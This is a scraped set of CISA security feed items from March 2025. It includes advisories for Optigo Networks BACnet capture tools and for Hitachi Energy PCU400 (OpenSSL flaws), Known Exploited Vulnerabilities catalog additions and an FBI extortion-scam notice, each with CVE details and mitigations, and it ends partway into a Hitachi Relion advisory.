Tomer Goldschmidt of Claroty Team82 reported these vulnerabilities to CISA.
4. MITIGATIONS
Optigo Networks recommends users to upgrade to the following:

Visual BACnet Capture Tool: Version v3.1.3rc8
Optigo Visual Networks Capture Tool: Version v3.1.3rc8

CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities, such as:

Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the Internet.
Locate control system networks and remote devices behind firewalls and isolating them from business networks.
When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.

CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.
CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.
CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.
Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B–Targeted Cyber Intrusion Detection and Mitigation Strategies.
Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.
No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time.
5. UPDATE HISTORY

March 11, 2025: Initial Publication 

View CSAF

1. EXECUTIVE SUMMARY

  • CVSS v4 9.3
  • ATTENTION: Exploitable remotely/low attack complexity
  • Vendor: Optigo Networks
  • Equipment: Visual BACnet Capture Tool, Optigo Visual Networks Capture Tool
  • Vulnerabilities: Use of Hard-coded, Security-relevant Constants, Authentication Bypass Using an Alternate Path or Channel

2. RISK EVALUATION

Successful exploitation of these vulnerabilities could allow an attacker to bypass authentication, gain control over the products, or impersonate the web applications.

3. TECHNICAL DETAILS

3.1 AFFECTED PRODUCTS

The following versions of Optigo Networks Visual BACnet Capture Tool and Optigo Visual Networks Capture Tool are affected:

  • Visual BACnet Capture Tool: Version 3.1.2rc11
  • Optigo Visual Networks Capture Tool: Version 3.1.2rc11

3.2 VULNERABILITY OVERVIEW

3.2.1 USE OF HARD-CODED, SECURITY-RELEVANT CONSTANTS CWE-547

Optigo Networks Visual BACnet Capture Tool and Optigo Visual Networks Capture Tool version 3.1.2rc11 contain a hard coded secret key. This could allow an attacker to generate valid JWT (JSON Web Token) sessions.

CVE-2025-2079 has been assigned to this vulnerability. A CVSS v3.1 base score of 7.5 has been calculated; the CVSS vector string is (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

A CVSS v4 score has also been calculated for CVE-2025-2079. A base score of 8.7 has been calculated; the CVSS vector string is (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N).

3.2.2 AUTHENTICATION BYPASS USING AN ALTERNATE PATH OR CHANNEL CWE-288

Optigo Networks Visual BACnet Capture Tool and Optigo Visual Networks Capture Tool version 3.1.2rc11 contain an exposed web management service that could allow an attacker to bypass authentication measures and gain controls over utilities within the products.

CVE-2025-2080 has been assigned to this vulnerability. A CVSS v3.1 base score of 9.8 has been calculated; the CVSS vector string is (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

A CVSS v4 score has also been calculated for CVE-2025-2080. A base score of 9.3 has been calculated; the CVSS vector string is (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N).

3.2.3 USE OF HARD-CODED, SECURITY-RELEVANT CONSTANTS CWE-547

Optigo Networks Visual BACnet Capture Tool and Optigo Visual Networks Capture Tool version 3.1.2rc11 are vulnerable to an attacker impersonating the web application service and mislead victim clients.

CVE-2025-2081 has been assigned to this vulnerability. A CVSS v3.1 base score of 7.5 has been calculated; the CVSS vector string is (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

A CVSS v4 score has also been calculated for CVE-2025-2081. A base score of 8.7 has been calculated; the CVSS vector string is (AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N).

3.3 BACKGROUND

  • CRITICAL INFRASTRUCTURE SECTORS: Information Technology
  • COUNTRIES/AREAS DEPLOYED: Worldwide
  • COMPANY HEADQUARTERS LOCATION: Canada

3.4 RESEARCHER

Tomer Goldschmidt of Claroty Team82 reported these vulnerabilities to CISA.

4. MITIGATIONS

Optigo Networks recommends users to upgrade to the following:

CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities, such as:

  • Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the Internet.
  • Locate control system networks and remote devices behind firewalls and isolating them from business networks.
  • When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.

CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.

Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B–Targeted Cyber Intrusion Detection and Mitigation Strategies.

Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time.

5. UPDATE HISTORY

  • March 11, 2025: Initial Publication

 Read More

CISA Releases Two Industrial Control Systems Advisories

 ​CISA released two Industrial Control Systems (ICS) advisories on March 11, 2025. These advisories provide timely information about current security issues, vulnerabilities, and exploits surrounding ICS.

ICSA-25-070-01 Schneider Electric Uni-Telway Driver
ICSA-25-070-02 Optigo Networks Visual BACnet Capture Tool/Optigo Visual Networks Capture Tool

CISA encourages users and administrators to review newly released ICS advisories for technical details and mitigations. 

CISA released two Industrial Control Systems (ICS) advisories on March 11, 2025. These advisories provide timely information about current security issues, vulnerabilities, and exploits surrounding ICS.

CISA encourages users and administrators to review newly released ICS advisories for technical details and mitigations.

 Read More

CISA Adds Five Known Exploited Vulnerabilities to Catalog

 ​CISA has added five new vulnerabilities to its Known Exploited Vulnerabilities Catalog, based on evidence of active exploitation.

CVE-2025-25181 Advantive VeraCore SQL Injection Vulnerability
CVE-2024-57968 Advantive VeraCore Unrestricted File Upload Vulnerability
CVE-2024-13159 Ivanti Endpoint Manager (EPM) Absolute Path Traversal Vulnerability
CVE-2024-13160 Ivanti Endpoint Manager (EPM) Absolute Path Traversal Vulnerability
CVE-2024-13161 Ivanti Endpoint Manager (EPM) Absolute Path Traversal Vulnerability

These types of vulnerabilities are frequent attack vectors for malicious cyber actors and pose significant risks to the federal enterprise.
Binding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities established the Known Exploited Vulnerabilities Catalog as a living list of known Common Vulnerabilities and Exposures (CVEs) that carry significant risk to the federal enterprise. BOD 22-01 requires Federal Civilian Executive Branch (FCEB) agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the BOD 22-01 Fact Sheet for more information.
Although BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing timely remediation of Catalog vulnerabilities as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the catalog that meet the specified criteria. 

CISA has added five new vulnerabilities to its Known Exploited Vulnerabilities Catalog, based on evidence of active exploitation.

  • CVE-2025-25181 Advantive VeraCore SQL Injection Vulnerability
  • CVE-2024-57968 Advantive VeraCore Unrestricted File Upload Vulnerability
  • CVE-2024-13159 Ivanti Endpoint Manager (EPM) Absolute Path Traversal Vulnerability
  • CVE-2024-13160 Ivanti Endpoint Manager (EPM) Absolute Path Traversal Vulnerability
  • CVE-2024-13161 Ivanti Endpoint Manager (EPM) Absolute Path Traversal Vulnerability

These types of vulnerabilities are frequent attack vectors for malicious cyber actors and pose significant risks to the federal enterprise.

Binding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities established the Known Exploited Vulnerabilities Catalog as a living list of known Common Vulnerabilities and Exposures (CVEs) that carry significant risk to the federal enterprise. BOD 22-01 requires Federal Civilian Executive Branch (FCEB) agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the BOD 22-01 Fact Sheet for more information.

Although BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing timely remediation of Catalog vulnerabilities as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the catalog that meet the specified criteria.

 Read More

FBI Warns of Data Extortion Scam Targeting Corporate Executives

 ​The Federal Bureau of Investigation (FBI) Internet Crime Complaint Center (IC3) has released an alert warning of a scam involving criminal actors masquerading as the “BianLian Group.” The cyber criminals target corporate executives by sending extortion letters threatening to release victims’ sensitive information unless payment is received. 
CISA encourages organizations to review the following FBI Public Service Announcement for more information:

Mail Scam Targeting Corporate Executives Claims Ties to Ransomware

Organizations should report incidents and anomalous activity to CISA’s 24/7 Operations Center at Report@cisa.gov or (888) 282-0870.  

The Federal Bureau of Investigation (FBI) Internet Crime Complaint Center (IC3) has released an alert warning of a scam involving criminal actors masquerading as the “BianLian Group.” The cyber criminals target corporate executives by sending extortion letters threatening to release victims’ sensitive information unless payment is received. 

CISA encourages organizations to review the following FBI Public Service Announcement for more information:

Organizations should report incidents and anomalous activity to CISA’s 24/7 Operations Center at Report@cisa.gov or (888) 282-0870. 

 Read More

Hitachi Energy PCU400

 ​View CSAF
1. EXECUTIVE SUMMARY

CVSS v3 7.5
ATTENTION: Exploitable remotely/low attack complexity
Vendor: Hitachi Energy
Equipment: PCU400, PCULogger
Vulnerabilities: Access of Resource Using Incompatible Type (‘Type Confusion’), NULL Pointer Dereference, Use After Free, Double Free, Observable Discrepancy, Out-of-bounds Read

2. RISK EVALUATION
Exploitation of these vulnerabilities could allow an attacker to access or decrypt sensitive data, crash the device application, or cause a denial-of-service condition.
3. TECHNICAL DETAILS
3.1 AFFECTED PRODUCTS
Hitachi Energy reports that the following products are affected:

PCU400: Version 6.5 K and prior
PCU400: Version 9.4.1 and prior
PCULogger: Version 1.1.0 and prior

3.2 VULNERABILITY OVERVIEW
3.2.1 ACCESS OF RESOURCE USING INCOMPATIBLE TYPE (‘TYPE CONFUSION’) CWE-843
There is a type confusion vulnerability relating to X.400 address processing inside an X.509 GeneralName. X.400 addresses were parsed as an ASN1_STRING but the public structure definition for GENERAL_NAME incorrectly specified the type of the x400Address field as ASN1_TYPE. This field is subsequently interpreted by the OpenSSL function GENERAL_NAME_cmp as an ASN1_TYPE rather than an ASN1_STRING. When CRL checking is enabled (i.e. the application sets the X509_V_FLAG_CRL_CHECK flag), this vulnerability may allow an attacker to pass arbitrary pointers to a memcmp call, enabling them to read memory contents or enact a denial-of-service. In most cases, the attack requires the attacker to provide both the certificate chain and CRL, neither of which need to have a valid signature. If the attacker only controls one of these inputs, the other input must already contain an X.400 address as a CRL distribution point, which is uncommon. As such, this vulnerability is most likely to only affect applications which have implemented their own functionality for retrieving CRLs over a network.
CVE-2023-0286 has been assigned to this vulnerability. A CVSS v3 base score of 7.4 has been calculated; the CVSS vector string is (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H).
3.2.2 NULL POINTER DEREFERENCE CWE-476
An invalid pointer dereference on read can be triggered when an application tries to check a malformed DSA public key by the EVP_PKEY_public_check() function. This will most likely lead to an application crash. This function can be called on public keys supplied from untrusted sources which could allow an attacker to cause a denial-of-service attack. The TLS implementation in OpenSSL does not call this function but applications might call the function if there are additional security requirements imposed by standards such as FIPS 140-3.
CVE-2023-0217 has been assigned to this vulnerability. A CVSS v3 base score of 7.5 has been calculated; the CVSS vector string is (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
3.2.3 NULL POINTER DEREFERENCE CWE-476
An invalid pointer dereference on read can be triggered when an application tries to load malformed PKCS7 data with the d2i_PKCS7(), d2i_PKCS7_bio() or d2i_PKCS7_fp() functions. The result of the dereference is an application crash which could lead to a denial-of-service attack. The TLS implementation in OpenSSL does not call this function however third party applications might call these functions on untrusted data.
CVE-2023-0216 has been assigned to this vulnerability. A CVSS v3 base score of 7.5 has been calculated; the CVSS vector string is (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
3.2.4 NULL POINTER DEREFERENCE CWE-476
A NULL pointer can be dereferenced when signatures are being verified on PKCS7 signed or signedAndEnveloped data. In case the hash algorithm used for the signature is known to the OpenSSL library but the implementation of the hash algorithm is not available, the digest initialization will fail. There is a missing check for the return value from the initialization function which later leads to invalid usage of the digest API most likely leading to a crash. The unavailability of an algorithm can be caused by using FIPS enabled configuration of providers or more commonly by not loading the legacy provider. PKCS7 data is processed by the SMIME library calls and also by the time stamp (TS) library calls. The TLS implementation in OpenSSL does not call these functions, however third party applications would be affected if they call these functions to verify signatures on untrusted data.
CVE-2023-0401 has been assigned to this vulnerability. A CVSS v3 base score of 7.5 has been calculated; the CVSS vector string is (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
3.2.5 USE AFTER FREE CWE-416
The public API function BIO_new_NDEF is a helper function used for streaming ASN.1 data via a BIO. It is primarily used internally to OpenSSL to support the SMIME, CMS and PKCS7 streaming capabilities, but may also be called directly by end user applications. The function receives a BIO from the caller, prepends a new BIO_f_asn1 filter BIO onto the front of it to form a BIO chain, and then returns the new head of the BIO chain to the caller. Under certain conditions, for example if a CMS recipient public key is invalid, the new filter BIO is freed and the function returns a NULL result indicating a failure. However, in this case, the BIO chain is not properly cleaned up and the BIO passed by the caller still retains internal pointers to the previously freed filter BIO. If the caller then goes on to call BIO_pop() on the BIO then a use-after-free will occur. This will most likely result in a crash. This scenario occurs directly in the internal function B64_write_ASN1() which may cause BIO_new_NDEF() to be called and will subsequently call BIO_pop() on the BIO. This internal function is in turn called by the public API functions PEM_write_bio_ASN1_stream, PEM_write_bio_CMS_stream, PEM_write_bio_PKCS7_stream, SMIME_write_ASN1, SMIME_write_CMS and SMIME_write_PKCS7. Other public API functions that may be impacted by this include i2d_ASN1_bio_stream, BIO_new_CMS, BIO_new_PKCS7, i2d_CMS_bio_stream and i2d_PKCS7_bio_stream. The OpenSSL cms and smime command line applications are similarly affected.
CVE-2023-0215 has been assigned to this vulnerability. A CVSS v3 base score of 7.5 has been calculated; the CVSS vector string is (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
3.2.6 DOUBLE FREE CWE-415
The function PEM_read_bio_ex() reads a PEM file from a BIO and parses and decodes the “name” (e.g. CERTIFICATE”), any header data and the payload data. If the function succeeds then the “name_out”, “header” and “data” arguments are populated with pointers to buffers containing the relevant decoded data. The caller is responsible for freeing those buffers. It is possible to construct a PEM file that results in 0 bytes of payload data. In this case PEM_read_bio_ex() will return a failure code but will populate the header argument with a pointer to a buffer that has already been freed. If the caller also frees this buffer then a double free will occur. This will most likely lead to a crash. This could be exploited by an attacker who has the ability to supply malicious PEM files for parsing to achieve a denial-of-service attack. The functions PEM_read_bio() and PEM_read() are simple wrappers around PEM_read_bio_ex() and therefore these functions are also directly affected. These functions are also called indirectly by a number of other OpenSSL functions including PEM_X509_INFO_read_bio_ex() and SSL_CTX_use_serverinfo_file() which are also vulnerable. Some OpenSSL internal uses of these functions are not vulnerable because the caller does not free the header argument if PEM_read_bio_ex() returns a failure code. These locations include the PEM_read_bio_TYPE() functions as well as the decoders introduced in OpenSSL 3.0. The OpenSSL asn1parse command line application is also impacted by this issue.
CVE-2022-4450 has been assigned to this vulnerability. A CVSS v3 base score of 7.5 has been calculated; the CVSS vector string is (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
3.2.7 OBSERVABLE DISCREPANCY CWE-203
A timing-based side channel exists in the OpenSSL RSA decryption implementation which could be sufficient to recover plaintext across a network in a Bleichenbacher style attack. To achieve a successful decryption, an attacker would have to be able to send a very large number of trial messages for decryption. The vulnerability affects all RSA padding modes: PKCS#1 v1.5, RSA-OEAP and RSASVE. For example, in a TLS connection, RSA is commonly used by a client to send an encrypted pre-master secret to the server. An attacker that had observed a genuine connection between a client and a server could use this flaw to send trial messages to the server and record the time taken to process them. After a sufficiently large number of messages the attacker could recover the pre-master secret used for the original connection and thus be able to decrypt the application data sent over that connection.
CVE-2022-4304 has been assigned to this vulnerability. A CVSS v3 base score of 5.9 has been calculated; the CVSS vector string is (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N).
3.2.8 OUT-OF-BOUNDS READ CWE-125
A read buffer overrun can be triggered in X.509 certificate verification, specifically in name constraint checking. Note that this occurs after certificate chain signature verification and requires either a CA to have signed the malicious certificate or for the application to continue certificate verification despite failure to construct a path to a trusted issuer. The read buffer overrun might result in a crash which could lead to a denial-of-service attack. In theory it could also result in the disclosure of private memory contents (such as private keys, or sensitive plaintext) although we are not aware of any working exploit leading to memory contents disclosure as of the time of release of this advisory. In a TLS client, this can be triggered by connecting to a malicious server. In a TLS server, this can be triggered if the server requests client authentication and a malicious client connects.
CVE-2022-4203 has been assigned to this vulnerability. A CVSS v3 base score of 4.9 has been calculated; the CVSS vector string is (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).
3.3 BACKGROUND

CRITICAL INFRASTRUCTURE SECTORS: Critical Manufacturing
COUNTRIES/AREAS DEPLOYED: Worldwide
COMPANY HEADQUARTERS LOCATION: Switzerland

3.4 RESEARCHER
A researcher from Dragos reported these vulnerabilities to Hitachi Energy.
4. MITIGATIONS
Hitachi Energy has identified the following specific workarounds and mitigations users can apply to reduce risk:

PCU400 versions 6.5 K and below: If IEC62351-3 secure for IEC104/DNP3 is used, then update to version 6.6.0 or later.
PCU400 versions 9.4.1 and below: If IEC62351-3 secure for IEC104/DNP3 is used, then update to version 9.4.2 or later.
PCULogger versions 1.1.0 and below: If the PCULogger program is used, then update to version 1.2.0* when available. This version is compatible with PCU400 9.4.2 and later.

For more information see the associated Hitachi Energy PSIRT security advisory 8dbd000213 CYBERSECURITY ADVISORY – OpenSSL Vulnerabilities in Hitachi Energy PCU400 Product.
Hitachi Energy recommends users implement recommended security practices and firewall configurations to help protect the process control network from attacks originating from outside the network. Process control systems should be physically protected from direct access by unauthorized personnel, have no direct connections to the Internet, and be separated from other networks by means of a firewall system with a minimal number of ports exposed. Process control systems should not be used for Internet surfing, instant messaging, or receiving e-mails. Portable computers and removable storage media should be carefully scanned for viruses before they are connected to a control system.
CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities. CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.
CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.
CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.
Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B–Targeted Cyber Intrusion Detection and Mitigation Strategies.
Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.
No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time.
5. UPDATE HISTORY

March 6, 2025: Initial Publication 

View CSAF

1. EXECUTIVE SUMMARY

  • CVSS v3 7.5
  • ATTENTION: Exploitable remotely/low attack complexity
  • Vendor: Hitachi Energy
  • Equipment: PCU400, PCULogger
  • Vulnerabilities: Access of Resource Using Incompatible Type (‘Type Confusion’), NULL Pointer Dereference, Use After Free, Double Free, Observable Discrepancy, Out-of-bounds Read

2. RISK EVALUATION

Exploitation of these vulnerabilities could allow an attacker to access or decrypt sensitive data, crash the device application, or cause a denial-of-service condition.

3. TECHNICAL DETAILS

3.1 AFFECTED PRODUCTS

Hitachi Energy reports that the following products are affected:

  • PCU400: Version 6.5 K and prior
  • PCU400: Version 9.4.1 and prior
  • PCULogger: Version 1.1.0 and prior

3.2 VULNERABILITY OVERVIEW

3.2.1 ACCESS OF RESOURCE USING INCOMPATIBLE TYPE (‘TYPE CONFUSION’) CWE-843

There is a type confusion vulnerability relating to X.400 address processing inside an X.509 GeneralName. X.400 addresses were parsed as an ASN1_STRING but the public structure definition for GENERAL_NAME incorrectly specified the type of the x400Address field as ASN1_TYPE. This field is subsequently interpreted by the OpenSSL function GENERAL_NAME_cmp as an ASN1_TYPE rather than an ASN1_STRING. When CRL checking is enabled (i.e. the application sets the X509_V_FLAG_CRL_CHECK flag), this vulnerability may allow an attacker to pass arbitrary pointers to a memcmp call, enabling them to read memory contents or enact a denial-of-service. In most cases, the attack requires the attacker to provide both the certificate chain and CRL, neither of which need to have a valid signature. If the attacker only controls one of these inputs, the other input must already contain an X.400 address as a CRL distribution point, which is uncommon. As such, this vulnerability is most likely to only affect applications which have implemented their own functionality for retrieving CRLs over a network.

CVE-2023-0286 has been assigned to this vulnerability. A CVSS v3 base score of 7.4 has been calculated; the CVSS vector string is (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H).

3.2.2 NULL POINTER DEREFERENCE CWE-476

An invalid pointer dereference on read can be triggered when an application tries to check a malformed DSA public key by the EVP_PKEY_public_check() function. This will most likely lead to an application crash. This function can be called on public keys supplied from untrusted sources which could allow an attacker to cause a denial-of-service attack. The TLS implementation in OpenSSL does not call this function but applications might call the function if there are additional security requirements imposed by standards such as FIPS 140-3.

CVE-2023-0217 has been assigned to this vulnerability. A CVSS v3 base score of 7.5 has been calculated; the CVSS vector string is (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

3.2.3 NULL POINTER DEREFERENCE CWE-476

An invalid pointer dereference on read can be triggered when an application tries to load malformed PKCS7 data with the d2i_PKCS7(), d2i_PKCS7_bio() or d2i_PKCS7_fp() functions. The result of the dereference is an application crash which could lead to a denial-of-service attack. The TLS implementation in OpenSSL does not call this function however third party applications might call these functions on untrusted data.

CVE-2023-0216 has been assigned to this vulnerability. A CVSS v3 base score of 7.5 has been calculated; the CVSS vector string is (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

3.2.4 NULL POINTER DEREFERENCE CWE-476

A NULL pointer can be dereferenced when signatures are being verified on PKCS7 signed or signedAndEnveloped data. In case the hash algorithm used for the signature is known to the OpenSSL library but the implementation of the hash algorithm is not available, the digest initialization will fail. There is a missing check for the return value from the initialization function which later leads to invalid usage of the digest API most likely leading to a crash. The unavailability of an algorithm can be caused by using FIPS enabled configuration of providers or more commonly by not loading the legacy provider. PKCS7 data is processed by the SMIME library calls and also by the time stamp (TS) library calls. The TLS implementation in OpenSSL does not call these functions, however third party applications would be affected if they call these functions to verify signatures on untrusted data.

CVE-2023-0401 has been assigned to this vulnerability. A CVSS v3 base score of 7.5 has been calculated; the CVSS vector string is (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

3.2.5 USE AFTER FREE CWE-416

The public API function BIO_new_NDEF is a helper function used for streaming ASN.1 data via a BIO. It is primarily used internally to OpenSSL to support the SMIME, CMS and PKCS7 streaming capabilities, but may also be called directly by end user applications. The function receives a BIO from the caller, prepends a new BIO_f_asn1 filter BIO onto the front of it to form a BIO chain, and then returns the new head of the BIO chain to the caller. Under certain conditions, for example if a CMS recipient public key is invalid, the new filter BIO is freed and the function returns a NULL result indicating a failure. However, in this case, the BIO chain is not properly cleaned up and the BIO passed by the caller still retains internal pointers to the previously freed filter BIO. If the caller then goes on to call BIO_pop() on the BIO then a use-after-free will occur. This will most likely result in a crash. This scenario occurs directly in the internal function B64_write_ASN1() which may cause BIO_new_NDEF() to be called and will subsequently call BIO_pop() on the BIO. This internal function is in turn called by the public API functions PEM_write_bio_ASN1_stream, PEM_write_bio_CMS_stream, PEM_write_bio_PKCS7_stream, SMIME_write_ASN1, SMIME_write_CMS and SMIME_write_PKCS7. Other public API functions that may be impacted by this include i2d_ASN1_bio_stream, BIO_new_CMS, BIO_new_PKCS7, i2d_CMS_bio_stream and i2d_PKCS7_bio_stream. The OpenSSL cms and smime command line applications are similarly affected.

CVE-2023-0215 has been assigned to this vulnerability. A CVSS v3 base score of 7.5 has been calculated; the CVSS vector string is (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

3.2.6 DOUBLE FREE CWE-415

The function PEM_read_bio_ex() reads a PEM file from a BIO and parses and decodes the “name” (e.g. CERTIFICATE”), any header data and the payload data. If the function succeeds then the “name_out”, “header” and “data” arguments are populated with pointers to buffers containing the relevant decoded data. The caller is responsible for freeing those buffers. It is possible to construct a PEM file that results in 0 bytes of payload data. In this case PEM_read_bio_ex() will return a failure code but will populate the header argument with a pointer to a buffer that has already been freed. If the caller also frees this buffer then a double free will occur. This will most likely lead to a crash. This could be exploited by an attacker who has the ability to supply malicious PEM files for parsing to achieve a denial-of-service attack. The functions PEM_read_bio() and PEM_read() are simple wrappers around PEM_read_bio_ex() and therefore these functions are also directly affected. These functions are also called indirectly by a number of other OpenSSL functions including PEM_X509_INFO_read_bio_ex() and SSL_CTX_use_serverinfo_file() which are also vulnerable. Some OpenSSL internal uses of these functions are not vulnerable because the caller does not free the header argument if PEM_read_bio_ex() returns a failure code. These locations include the PEM_read_bio_TYPE() functions as well as the decoders introduced in OpenSSL 3.0. The OpenSSL asn1parse command line application is also impacted by this issue.

CVE-2022-4450 has been assigned to this vulnerability. A CVSS v3 base score of 7.5 has been calculated; the CVSS vector string is (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

3.2.7 OBSERVABLE DISCREPANCY CWE-203

A timing-based side channel exists in the OpenSSL RSA decryption implementation which could be sufficient to recover plaintext across a network in a Bleichenbacher style attack. To achieve a successful decryption, an attacker would have to be able to send a very large number of trial messages for decryption. The vulnerability affects all RSA padding modes: PKCS#1 v1.5, RSA-OEAP and RSASVE. For example, in a TLS connection, RSA is commonly used by a client to send an encrypted pre-master secret to the server. An attacker that had observed a genuine connection between a client and a server could use this flaw to send trial messages to the server and record the time taken to process them. After a sufficiently large number of messages the attacker could recover the pre-master secret used for the original connection and thus be able to decrypt the application data sent over that connection.

CVE-2022-4304 has been assigned to this vulnerability. A CVSS v3 base score of 5.9 has been calculated; the CVSS vector string is (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N).

3.2.8 OUT-OF-BOUNDS READ CWE-125

A read buffer overrun can be triggered in X.509 certificate verification, specifically in name constraint checking. Note that this occurs after certificate chain signature verification and requires either a CA to have signed the malicious certificate or for the application to continue certificate verification despite failure to construct a path to a trusted issuer. The read buffer overrun might result in a crash which could lead to a denial-of-service attack. In theory it could also result in the disclosure of private memory contents (such as private keys, or sensitive plaintext) although we are not aware of any working exploit leading to memory contents disclosure as of the time of release of this advisory. In a TLS client, this can be triggered by connecting to a malicious server. In a TLS server, this can be triggered if the server requests client authentication and a malicious client connects.

CVE-2022-4203 has been assigned to this vulnerability. A CVSS v3 base score of 4.9 has been calculated; the CVSS vector string is (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

3.3 BACKGROUND

  • CRITICAL INFRASTRUCTURE SECTORS: Critical Manufacturing
  • COUNTRIES/AREAS DEPLOYED: Worldwide
  • COMPANY HEADQUARTERS LOCATION: Switzerland

3.4 RESEARCHER

A researcher from Dragos reported these vulnerabilities to Hitachi Energy.

4. MITIGATIONS

Hitachi Energy has identified the following specific workarounds and mitigations users can apply to reduce risk:

  • PCU400 versions 6.5 K and below: If IEC62351-3 secure for IEC104/DNP3 is used, then update to version 6.6.0 or later.
  • PCU400 versions 9.4.1 and below: If IEC62351-3 secure for IEC104/DNP3 is used, then update to version 9.4.2 or later.
  • PCULogger versions 1.1.0 and below: If the PCULogger program is used, then update to version 1.2.0* when available. This version is compatible with PCU400 9.4.2 and later.

For more information see the associated Hitachi Energy PSIRT security advisory 8dbd000213 CYBERSECURITY ADVISORY – OpenSSL Vulnerabilities in Hitachi Energy PCU400 Product.

Hitachi Energy recommends users implement recommended security practices and firewall configurations to help protect the process control network from attacks originating from outside the network. Process control systems should be physically protected from direct access by unauthorized personnel, have no direct connections to the Internet, and be separated from other networks by means of a firewall system with a minimal number of ports exposed. Process control systems should not be used for Internet surfing, instant messaging, or receiving e-mails. Portable computers and removable storage media should be carefully scanned for viruses before they are connected to a control system.

CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities. CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.

Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B–Targeted Cyber Intrusion Detection and Mitigation Strategies.

Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time.

5. UPDATE HISTORY

  • March 6, 2025: Initial Publication

 Read More

Hitachi Energy Relion 670/650/SAM600-IO

 ​View CSAF
1. EXECUTIVE SUMMARY

CVSS v4 8.6
ATTENTION: Exploitable remotely/low attack complexity
Vendor: Hitachi Energy
Equipment: Relion 670/650/SAM600-IO
